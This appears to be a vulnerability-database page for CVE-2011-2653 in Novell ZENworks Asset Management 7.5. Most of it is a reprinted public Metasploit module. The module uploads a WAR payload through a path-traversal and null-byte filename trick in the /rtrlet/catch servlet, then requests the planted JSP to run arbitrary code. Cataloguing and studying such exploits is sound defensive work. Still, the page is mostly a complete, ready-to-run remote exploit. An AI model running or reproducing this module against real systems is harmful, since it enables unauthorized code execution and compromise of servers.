CVE-2011-2653
Description
Directory traversal vulnerability in the rtrlet component in Novell ZENworks Asset Management (ZAM) 7.5 allows remote attackers to execute arbitrary code by uploading an executable file.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Novell ZENworks Asset Management - Remote Execution (Metasploit)
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Novell ZENworks Asset Management Remote Execution',
'Description' => %q{
This module exploits a path traversal flaw in Novell ZENworks Asset Management
7.5. By exploiting the CatchFileServlet, an attacker can upload a malicious file
outside of the MalibuUploadDirectory and then make a secondary request that allows
for arbitrary code execution.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-2653' ],
[ 'OSVDB', '77583' ],
[ 'BID', '50966' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-342/' ],
[ 'URL', 'http://download.novell.com/Download?buildid=hPvHtXeNmCU~' ]
],
'Privileged' => true,
'Platform' => [ 'java' ],
'Targets' =>
[
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 02 2011'))
register_options(
[
Opt::RPORT(8080),
OptInt.new('DEPTH', [true, 'Traversal depth to reach the Tomcat webapps dir', 3])
], self.class )
end
def exploit
# Generate the WAR containing the payload
app_base = rand_text_alphanumeric(4+rand(32-4))
jsp_name = rand_text_alphanumeric(8+rand(8))
war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s
uid = rand_text_alphanumeric(34).to_s
data = "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"RequestParms\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"rtyp\"\r\n\r\n"
data << "prod\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"sess\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"mode\"\r\n\r\n"
data << "newreport\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"dp\"\r\n\r\n"
data << "n\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"oldentry\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"act\"\r\n\r\n"
data << "malibu.StartImportPAC\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"saveact\"\r\n\r\n"
data << "malibu.StartImportPAC\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"isalert\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"language\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"queryid\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"Locale\"\r\n\r\n"
data << "MM/dd/yyyy\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"CurrencySym\"\r\n\r\n"
data << "$\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"CurrencyPos\"\r\n\r\n"
data << "start\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"ThousandsSep\"\r\n\r\n"
data << ",\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"CurDecimalPt\"\r\n\r\n"
data << ".\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"MinusSign\"\r\n\r\n"
data << "-\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"sum\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"grp\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"col\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"PreLoadRight\"\r\n\r\n"
data << "yes\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"console\"\r\n\r\n"
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"uploadFile\"; filename=\"/#{"../" * datastore['DEPTH']}#{app_base}.war\x00.txt\"\r\n"
data << "Content-Type: application/octet-stream\r\n\r\n"
data << war_data
data << "\r\n"
data << "------#{uid}\r\n"
data << "Content-Disposition: form-data; name=\"SuccessPage\"\r\n\r\n"
data << "Html/UploadSuccess.html\r\n"
data << "------#{uid}--\r\n"
res = send_request_cgi(
{
'uri' => "/rtrlet/catch",
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=----#{uid}",
'data' => data,
})
print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...")
select(nil, nil, nil, 10)
if (res.code == 500)
print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...")
send_request_raw(
{
'uri' => "/#{app_base}/" + "#{jsp_name}" + '.jsp',
'method' => 'GET',
})
else
print_error("WAR upload failed...")
end
end
end
Metasploit modules
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| novell | zenworks_asset_management | 7.5 | |
References
CWEs
CWE-22
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.